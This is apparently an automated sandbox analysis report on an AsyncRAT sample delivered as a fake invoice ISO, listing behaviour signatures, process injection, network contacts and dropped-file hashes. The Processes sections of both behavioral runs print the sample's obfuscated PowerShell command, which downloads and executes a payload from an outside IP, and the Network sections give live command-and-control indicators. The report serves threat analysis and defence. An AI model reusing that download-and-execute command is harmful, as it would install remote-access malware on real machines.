Malware Analysis Report

2025-08-10 19:36

Sample ID 231115-v6ly6sdb57
Target 16112023_0136_15112023_Invoice#2356876431.iso
SHA256 4ac12696309f049c7339b6c01881c9e857155bbe8be92dc94accff2e612fea67
Tags
asyncrat rxr* rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4ac12696309f049c7339b6c01881c9e857155bbe8be92dc94accff2e612fea67

Threat Level: Known bad

The file 16112023_0136_15112023_Invoice#2356876431.iso was found to be: Known bad.

Malicious Activity Summary

asyncrat rxr* rat

AsyncRat

Async RAT payload

Blocklisted process makes network request

Checks computer location settings

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-15 17:36

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-15 17:36

Reported

2023-11-15 17:38

Platform

win10v2004-20231023-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4748 set thread context of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2532 wrote to memory of 3380 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2532 wrote to memory of 3380 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4828 wrote to memory of 1788 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 4828 wrote to memory of 1788 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 1788 wrote to memory of 4748 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1788 wrote to memory of 4748 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4748 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

C:\Windows\System32\WScript.exe

C:\Windows\System32\WScript.exe "C:\Users\Public\libraries.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\libraries.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\libraries.ps1'"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Network

Country Destination Domain Proto
FR 185.81.157.213:222 185.81.157.213 tcp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 254.43.238.8.in-addr.arpa udp
US 8.8.8.8:53 213.157.81.185.in-addr.arpa udp
FR 185.81.157.213:222 185.81.157.213 tcp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 113.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 rxrr.duckdns.org udp
FR 185.81.157.213:6606 rxrr.duckdns.org tcp
FR 185.81.157.213:8808 rxrr.duckdns.org tcp
FR 185.81.157.213:7707 tcp

Files

memory/3380-12-0x00000203B9950000-0x00000203B9972000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fzjptbf.x35.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3380-13-0x00007FFD11B50000-0x00007FFD12611000-memory.dmp

memory/3380-14-0x000002039F7E0000-0x000002039F7F0000-memory.dmp

memory/3380-15-0x000002039F7E0000-0x000002039F7F0000-memory.dmp

memory/3380-21-0x00007FFD11B50000-0x00007FFD12611000-memory.dmp

C:\Users\Public\libraries.vbs

MD5 882c260115cfacc236251d065cc23c4c
SHA1 cee58dd936e493370224db57ca49c4d6c0cbfeff
SHA256 1d1595fdd363891dd2d9d081059b2dcbca1edc72c80b6c637436a9090ba2564a
SHA512 d1279bcc0150ba96164445a98fdb5ff5ef6cde81460af71612ee0f0a7ac8155f9d3a73aa26ccb53a9da6493e078aef42e20ca26011f0f5aa855f5ced61236641

C:\Users\Public\libraries.bat

MD5 440e905a6fcf6bcc0ffe763896e21044
SHA1 89bf89ca871095dd7431147a4e0c993bfdba897e
SHA256 aae3e34c1f6bf5eaf7c91afec528d24ac1b10272705be506653b29df17d6e834
SHA512 f324dbff528e9579f81af84c09ab45ef87cd8e516cb22a5f99e432d4d1ca528f3e5d8f7a1f479076a89c18cd44bbaa10df4f6a1fcdc3fe8937febadb892d89fd

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/4748-25-0x00007FFD11110000-0x00007FFD11BD1000-memory.dmp

memory/4748-26-0x000001B7B2820000-0x000001B7B2830000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 026d93a446c50e4ae9aa47a15d0e923f
SHA1 f8832c1a57c63bc1b085b10f39b69254e27b2fb8
SHA256 c06620ef42e09394b9fb9816937e9161cdb5740ad2c1a312f55483cbc2adf089
SHA512 009c2cc902b3c560f77f882d4cd432e6893c51b8932889a4de8b119933e6bb6a9c91948dbb7ec392e120dfadca0211134625ffd6252b261fc84af8e17fbc2181

memory/4748-37-0x000001B7B2820000-0x000001B7B2830000-memory.dmp

C:\Users\Public\libraries.ps1

MD5 d253b8760d01942b6f0cf89884d8ce6f
SHA1 f5c10af0337c62aaf7403fb88cfe5671ef317d56
SHA256 1c2e5ff87905fd9a30d3498c37374bcb9944caaf229dd8d9d85ffa25d3ab3ae4
SHA512 77049aaa93bcba3a101b0f93571b3b633c2b98876655e63ba427219eb20fe7256f500edad9b840494ccddb5ca55f9baa8eec36020f099887fec86e4feadb8782

memory/4748-39-0x000001B7CCD60000-0x000001B7CCD72000-memory.dmp

memory/2708-40-0x0000000000400000-0x0000000000416000-memory.dmp

memory/4748-42-0x00007FFD11110000-0x00007FFD11BD1000-memory.dmp

memory/2708-43-0x00000000749C0000-0x0000000075170000-memory.dmp

memory/2708-44-0x0000000005640000-0x0000000005650000-memory.dmp

memory/2708-45-0x0000000005F40000-0x00000000064E4000-memory.dmp

memory/2708-46-0x0000000005B70000-0x0000000005C02000-memory.dmp

memory/2708-47-0x0000000005D00000-0x0000000005D0A000-memory.dmp

memory/2708-48-0x00000000066D0000-0x000000000676C000-memory.dmp

memory/2708-49-0x0000000006630000-0x0000000006696000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-15 17:36

Reported

2023-11-15 17:38

Platform

win7-20231020-en

Max time kernel

128s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

C:\Windows\system32\taskeng.exe

taskeng.exe {621E7F4B-3D81-4514-BE1E-95609E1AD55A} S-1-5-21-1154728922-3261336865-3456416385-1000:TLIDUQCQ\Admin:Interactive:[1]

C:\Windows\System32\WScript.exe

C:\Windows\System32\WScript.exe "C:\Users\Public\libraries.vbs"

C:\Windows\System32\cmd.exe

cmd /c ""C:\Users\Public\libraries.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\libraries.ps1'"

Network

Country Destination Domain Proto
FR 185.81.157.213:222 185.81.157.213 tcp
FR 185.81.157.213:222 185.81.157.213 tcp

Files

memory/2372-7-0x000000001B280000-0x000000001B562000-memory.dmp

memory/2372-8-0x0000000002390000-0x0000000002398000-memory.dmp

memory/2372-9-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

memory/2372-10-0x00000000022C0000-0x0000000002340000-memory.dmp

memory/2372-11-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

memory/2372-12-0x00000000022C0000-0x0000000002340000-memory.dmp

memory/2372-13-0x00000000022C0000-0x0000000002340000-memory.dmp

memory/2372-16-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

C:\Users\Public\libraries.vbs

MD5 882c260115cfacc236251d065cc23c4c
SHA1 cee58dd936e493370224db57ca49c4d6c0cbfeff
SHA256 1d1595fdd363891dd2d9d081059b2dcbca1edc72c80b6c637436a9090ba2564a
SHA512 d1279bcc0150ba96164445a98fdb5ff5ef6cde81460af71612ee0f0a7ac8155f9d3a73aa26ccb53a9da6493e078aef42e20ca26011f0f5aa855f5ced61236641

C:\Users\Public\libraries.bat

MD5 440e905a6fcf6bcc0ffe763896e21044
SHA1 89bf89ca871095dd7431147a4e0c993bfdba897e
SHA256 aae3e34c1f6bf5eaf7c91afec528d24ac1b10272705be506653b29df17d6e834
SHA512 f324dbff528e9579f81af84c09ab45ef87cd8e516cb22a5f99e432d4d1ca528f3e5d8f7a1f479076a89c18cd44bbaa10df4f6a1fcdc3fe8937febadb892d89fd

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 ae53949ecef5bb08672d3fc437236623
SHA1 3bd18aa9c9f02a1a6be0c5ead2dbafb3cf5dcc00
SHA256 fe1285eeb97678918274be551bcf5ce715d1178e96efaf624c9c87f11c957201
SHA512 743fc454bfca48e6582d1aafc0ba2209ddb4e3c5d50570068a84437eb74ed40324536fdb1b54b30bcfe4fb8d53212117e6afe1221ce0a6f6cb3f27c4a6da6915

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0SEUEWKVE1EWJUV6V9MK.temp

MD5 b7d4b468b2ca222fb1effc4c9af39d4d
SHA1 48cc3f0f3d1d3f17291cddaa0ae9946bef7b07bc
SHA256 ff58f3831330d8b034b04c539c4482c25d0364a64883c07e5c669facb9811434
SHA512 328d15cb8edac3fbf01bbeb7734fa53c38e1317c57e1f501ffe533e719a42767e39d383c48a68f98bb3667f95e5d8159ec37402d4144d6ffa8b48a9ab06cfc2a

memory/1044-24-0x000000001B420000-0x000000001B702000-memory.dmp

memory/1044-25-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

memory/1044-26-0x0000000002A80000-0x0000000002B00000-memory.dmp

memory/1044-27-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

memory/1044-28-0x0000000002A80000-0x0000000002B00000-memory.dmp

memory/1044-29-0x00000000024D0000-0x00000000024D8000-memory.dmp

memory/1044-30-0x0000000002A80000-0x0000000002B00000-memory.dmp

memory/1044-31-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp